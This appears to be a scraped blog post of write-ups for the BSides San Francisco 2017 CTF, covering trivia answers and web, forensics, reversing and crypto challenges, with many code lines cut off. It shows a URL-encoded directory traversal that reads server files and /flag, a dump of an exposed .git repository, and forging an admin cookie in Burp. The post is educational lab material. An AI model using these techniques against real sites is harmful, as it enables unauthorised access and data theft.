Security is everywhere

Home	Linux	News	Security	About	Q Search
FOLLOW:					SECURITY > WRITEUPS
Ru	by cheat s	NEWER sheet with	examples	>	BSides San

OLDER
Snapshot for KVM via libvirt with virsh

RECENTS

SECURITY > WRITEUPS

UIUCTF 2017 - 100 - HIGH SCHOOL CRYPTO - CRYPTO SUNDAY 30 APRIL 2017 (2017-04-30)

SECURITY > WRITEUPS

ANGSTROMCTF 2017 - WRITE-UPS SATURDAY 29 APRIL 2017 (2017-04-29)

SECURITY > WRITEUPS

BREIZHCTF 2K17 - WRITE-UPS SATURDAY 29 APRIL 2017 (2017-04-29)

SECURITY > WRITEUPS

YUBITSEC CTF 2017 - WRITE-UPS TUESDAY 25 APRIL 2017 (2017-04-25)

SECURITY > WRITEUPS

FIT-HACK CTF 2017 - WRITE-UPS SATURDAY 15 APRIL 2017 (2017-04-15)

BSides San Francisco CTF 2017 - Write-ups

MONDAY 13 FEBRUARY 2017 (2017-02-13) #CRYPTO #CTF #FORENSICS #MISC #REVERSING #SECURITY #WEB #WRITEUPS

Informations

Version

Ву	Version	Comment
noraj	1.0	Creation

CTF

• Name : BSides San Francisco

CTF 2017

Website : ctf.bsidessf.com

Type : Online

Format : Jeopardy

CTF Time : link

1 - Hackers - Misc



CATEGORIES

- ▶ linux (30)
 - ▶ archlinux (8)
 - ▶ debian (1)
 - ▶ opensuse (7)
 - ▶ ubuntu (1)
- ▶ misc (4)
- ▶ news (7)
 - ▶ security (4)
 - ▶ warez (1)
- ▶ programming (3)
 - python (2)
 - ▶ ruby (1)
- ▶ security (121)
 - centos (2)
 - ▶ windows (4)
 - writeups (109)
- ▶ windows (3)

TAG CLOUD

anonymity apache archlinux backdoor bsd centos crypto ctf debian firefox forensics git graphic guessing hyper-v install joy kvm lfi linux misc netbios network news opensuse pentest php piracy privacy programming proxy pwn python qemu recon reverse reversing ruby Security ssh stegano system tor trivia ubuntu update usenet

Answer: planet

20 - NOP - Misc

x86's NOP is actually another instruction. What is the Intel syntax representation of the assembly of the other instruction?

Include a space between operands, if applicable.

Answer: xchg eax, eax

Details

1 - Ancient HopGrain Juice - Misc

This beverage, brewed since ancient times, is made from hops and grains?

Answer: beer

1 - The Wrong Cipher - Misc

virtualbox virtualization vulnerability warez web webshell windows writeups



This cipher was used incorrectly in WEP

ARCHIVES

- ▶ April 2017 (10)
- ▶ March 2017 (7)
- ▶ February 2017 (8)
- ▶ January 2017 (2)
- ▶ December 2016 (12)
- ▶ November 2016 (28)
- ▶ October 2016 (4)
- ▶ September 2016 (11)
- ▶ August 2016 (26)
- ▶ July 2016 (26)
- ▶ June 2016 (6)
- ▶ May 2016 (5)
- ▶ April 2016 (8)
- ▶ March 2016 (2)
- ▶ December 2015 (2)
- ▶ October 2015 (1)
- ▶ September 2015 (1)
- ▶ November 2014 (1)
- ▶ October 2014 (1)
- ▶ September 2014 (1)
- ▶ August 2014 (5)
- ▶ December 2012 (1)



Answer: RC4

Details

1 - The Right Cipher - Misc

This cipher was correctly used in TKIP

Answer: RC4

Details

1 - Let's play a game - Misc

This is the name of the game that a young hacker thinks he's playing with the WOPR Supercomputer. [Spaces expected]

Answer: Global Thermonuclear

War

Details

LINKS

- ▶ Hexo
- ▶ FOSS
- ▶ Torrent is not a crime

1 - Quote - Misc



This movie featured the memorable phrase "My voice is my passport"

Answer: Sneakers

Movie

20 - Zumbo 1 -Web



Welcome to

ZUMBOCOM....you can do

anything at ZUMBOCOM.

Three flags await. Can you find them?

http://zumbo-8ac445b1.ctf.bsidessf.net

Stages 2 and 3 - coming soon!

View source of http://zumbo-8ac445b1.ctf.bsidessf.net/index.temp

1 <!-- page: index.template, s</pre>

Let's check the /code/server.py
path: http://zumbo8ac445b1.ctf.bsidessf.net/code/serve
We get an error:

```
1 [Errno 2] No such file or d<sup>-</sup>
2 <!-- page: code/server.py, s</pre>
```

Every non-existing page give the same error. We need to do a directory traversal: http://zumbo-8ac445b1.ctf.bsidessf.net/../../../coc But unfortunately the ../../../ part is automatically removed.

So I just URLencoded this part to bypass the filter: http://zumbo-8ac445b1.ctf.bsidessf.net/..%2F..%2F..

And we get the server.py source:

```
import flask, sys, os
    import requests
3
    app = flask.Flask(__name__)
    counter = 12345672
5
7
    @app.route('/<path:page>')
8
    def custom_page(page):
        if page == 'favicon.ic
10
        global counter
11
        counter += 1
12
13
        try:
14
            template = open(pag
        except Exception as e:
15
16
            template = str(e)
```

```
template += "\n<!-- pag
17
        return flask.render_ter
18
19
    @app.route('/')
20
    def home():
21
        return flask.redirect('
22
23
    if __name__ == '__main__':
24
        flag1 = 'FLAG: FIRST_FL
25
26
        with open('/flag') as 1
                 flag2 = f.read
27
        flag3 = requests.get('}
28
29
30
        print "Ready set go!"
        sys.stdout.flush()
31
        app.run(host="0.0.0.0")
32
33
34
    <!-- page: ../../../code
```

```
Flag was FLAG:
FIRST_FLAG_WASNT_HARD .
```

```
PS: Only page is used so
http://zumbo-
8ac445b1.ctf.bsidessf.net/server
also works...
```

100 - Zumbo 2 -Web

Welcome to

ZUMBOCOM....you can do

anything at ZUMBOCOM.

Three flags await. Can you find them?

http://zumbo-8ac445b1.ctf.bsidessf.net

Stage 3 - coming soon!

For the next part of the challenge, we already got the server.py source so I looked again at the flag2 part:

```
with open('/flag') as f:
flag2 = f.read()
```

Ok the flag is in /flag so just change http://zumbo8ac445b1.ctf.bsidessf.net/..%2f.
into http://zumbo8ac445b1.ctf.bsidessf.net/..%2f.

And get the flag: FLAG: RUNNER_ON_SECOND_BASE.

100 - the-year-2000 - Web

66 Wait, what year is it?

http://theyear2000.ctf.bsidessi

The author says on this home page:

I made this website all by myself using these tools

- html
- notepad++
- git
- apache

I tried

1

26

27

28

http://theyear2000.ctf.bsidessf. and it returned me *Forbidden* error. So there is a .git repot here.

As usual I used GitTools to dump the repository:

\$./gitdumper.sh http://the

```
Destination folder does not
 2
    Creating repo/.git/
 3
 4
    Downloaded: HEAD
    Downloaded: objects/info/pa
 5
    Downloaded: description
    Downloaded: config
 7
    Downloaded: COMMIT EDITMSG
 8
    Downloaded: index
 9
    Downloaded: packed-refs
10
    Downloaded: refs/heads/mast
11
    Downloaded: refs/remotes/or
12
    Downloaded: refs/stash
13
    Downloaded: logs/HEAD
14
    Downloaded: logs/refs/heads
15
    Downloaded: logs/refs/remot
16
    Downloaded: info/refs
17
    Downloaded: info/exclude
18
    Downloaded: objects/4e/ec6k
19
    Downloaded: objects/00/0000
20
    Downloaded: objects/e0/39a@
21
    Downloaded: objects/9e/9ce4
22
    Downloaded: objects/f3/a3f8
23
    Downloaded: objects/0c/e1ck
24
25
    Downloaded: objects/bd/72ee
```

Downloaded: objects/e1/6b65

Downloaded: objects/7c/57d1

Downloaded: objects/7b/aff3

A quick git log -p show me this commit:

```
commit 4eec6b9c6e464c35fff1
2 Author: Mark Zuckerberg <th
3
    Date: Sat Feb 11 22:54:32
4
5
       Wooops, didn't want to
6
7
    diff --git a/index.html b/
    index 7c57d17..e16b652 1000
    --- a/index.html
9
   +++ b/index.html
10
    @@ -15,7 +15,7 @@ pre {
11
    </style>
12
13 </head>
14
    <body>
15 -<h1>Welcome to my homepage
   +<h1>Welcome to my homepage
16
    <hr>
17
18
    I made this website all
    <l
19
```

There was a rebase so let's see when it happened:

```
1  $ git reflog
2  4eec6b9 HEAD@{0}: commit: Wc
3  e039a66 HEAD@{1}: reset: mov
4  9e9ce4d HEAD@{2}: commit: F<sup>2</sup>
5  e039a66 HEAD@{3}: commit (ir
```

Ok so we have to come back before the HFAD reset:

```
1 $ git reset --hard HEAD@{2}
```

² HEAD is now at 9e9ce4d Fixed

Now let's take a look at this fix: git

```
log -p -1
```

Here is teh flag:

FLAG:what_is_HEAD_may_never_die

40 - easycap - Forensics

Can you get the flag from the packet capture?

easycap.pcap

This is some raw tcp frames and some of them have 1 byte of additional data.

Let's extract that with tshark:

- 1 \$ tshark -r easycap.pcap -T
- 2 464c41473a333835623837616663

Now translate hex to ASCII with a little ruby trick:

```
1 irb(main):008:0> ['464c4147;
2 => "FLAG:385b87afc8671dee07;
```

Flag is

FLAG:385b87afc8671dee07550290d16

10 - Easy -Reversing

- **66** This one is easy.
 - *easy-32*
 - easy-64
 - 1 \$ strings easy-64 | grep -i
 - 2 FLAG:db2f62a36a018bce28e46d9

30 - easyauth -Web



Can you gain admin access to this site?

http://easyauthafee0e67.ctf.bsidessf.net

easyauth.php

Hint say to log in with: guest/guest

We have a cookie like this:

1 auth=username=guest&date=20:

If we click on the link we get the following message:

It's cool that you logged in, but unfortunately we can only give the flag to 'administrator'.

:(

Configure proxy and launch burpsuite.

Then change guest into administrator in the cookie and send. You now get the flag:

Congratulations, you're the administrator! Here's your reward:

FLAG:0076ecde2daae415d7e¹

450 - vhash -Crypto



66 ---- Due to a bug, the challenge might be easier than intended. Enjoy the free points! ----

> Can you gain admin access to this site?

(The vhash binary is what's used for signing the cookie)

http://vhashc6bb0e85.ctf.bsidessf.net:929.

vhash.zip

The zip contain the vhash ELF executable and the index.php source:

```
<?php
 1
 2
      require_once('./auth.php'
 3
      function do_hash($data) +
 4
 5
         $filename = tempnam(sys
         file_put_contents($file
 6
 7
         $hash = substr(`/home/
 8
        unlink($filename);
 9
10
11
         return $hash;
      }
12
13
14
      function create hmac($dat
```

```
15
        return do_hash(SECRET .
16
      }
17
      if(isset($_GET['action'])
18
         setcookie('auth', '');
19
        header('Location: index
20
      }
21
22
      if(isset($_POST['username
23
24
         # Do pagey stuff
         if(is_valid($_POST['use
25
           # Create the cookie
26
           $cookie = 'username='
27
28
           $cookie .= 'date=' .
           $cookie .= 'secret_le
29
30
           # Sign the cookie
31
32
           $cookie = create hmag
           setcookie('auth', $co
33
           print "<h1>Login succ
34
           print "Setting cod
35
        } else {
36
           print "<h1>Username (
37
38
        print "Click <a hret</pre>
39
40
        exit(0);
41
      }
42
      if(!isset($_COOKIE['auth'
43
         require_once('./login_1
44
        exit(0);
45
46
      }
47
      list($hmac, $cookie) = e>
48
      if(create_hmac($cookie)
49
         setcookie('auth', '');
50
         print "Something was
51
        print "Click <a hret</pre>
52
        exit();
53
      }
54
55
      $pairs = explode('&', $cc
56
      $args = array();
57
      foreach($pairs as $pair)
58
         if(!strpos($pair, '='))
59
60
           continue;
```

```
61
        list($name, $value) = 6
62
         $args[$name] = $value;
63
64
      $username = $args['username']
65
66
      print "<h1>Welcome back,
67
      if($username == 'administ
68
        print "Congratulatic
69
        print "" . FLAG . "<</pre>
70
      } else {
71
        print "It's cool that
72
73
      print "<a href='/inde>
74
    ?>
75
```

Description says the challenge is more easy due to a bug, here it is:

```
if($username == 'administrat
```

So the challenge is exactly like the previous 30 - easyauth - Web.

Configure proxy and launch burpsuite.

Then change guest into administrator in the cookie and send. You now get the flag:

Congratulations, you're the administrator! Here's your reward:

FLAG:180e2300112ef5a4f23c





Be the first to comment.

© 2017 Alexandre ZANNI Powered by Hexo. Theme by PPOffice